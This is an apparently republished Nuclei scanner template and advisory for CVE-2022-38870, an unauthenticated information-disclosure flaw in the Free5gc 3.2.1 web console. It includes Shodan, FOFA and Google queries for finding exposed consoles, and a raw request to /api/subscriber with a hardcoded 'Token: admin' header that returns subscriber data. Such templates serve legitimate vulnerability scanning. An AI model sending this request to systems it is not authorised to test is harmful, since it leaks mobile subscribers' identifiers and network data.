CVE-2022-38870: Free5gc 3.2.1 - Information Disclosure

2025-08-01 Free5gc PoC Public

Description

Free5gc 3.2.1 is susceptible to information disclosure. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2022-38870

info:
  name: Free5gc 3.2.1 - Information Disclosure
  author: For3stCo1d
  severity: high
  description: |
    Free5gc 3.2.1 is susceptible to information disclosure. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a patched version of Free5gc 3.2.1 to mitigate the vulnerability.
  reference:
    - https://github.com/free5gc/free5gc/issues/387
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38870
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-38870
    cwe-id: CWE-306
    epss-score: 0.03066
    epss-percentile: 0.8696
    cpe: cpe:2.3:a:free5gc:free5gc:3.2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: free5gc
    product: free5gc
    shodan-query:
      - http.title:"free5GC Web Console"
      - http.title:"free5gc web console"
    fofa-query: title="free5gc web console"
    google-query: intitle:"free5gc web console"
  tags: cve,cve2022,free5gc,exposure,vuln

http:
  - raw:
      - |
        GET /api/subscriber HTTP/1.1
        Host: {{Hostname}}
        Token: admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"plmnID":'
          - '"ueId":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100af3a72b484ee8cfa7b60e99569070da8563355baa9d7033487670afcc366089b022100c147aa4198b10f76ee3a7d61f551b4a0abe75ef4b445416321131b13765aaa09:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities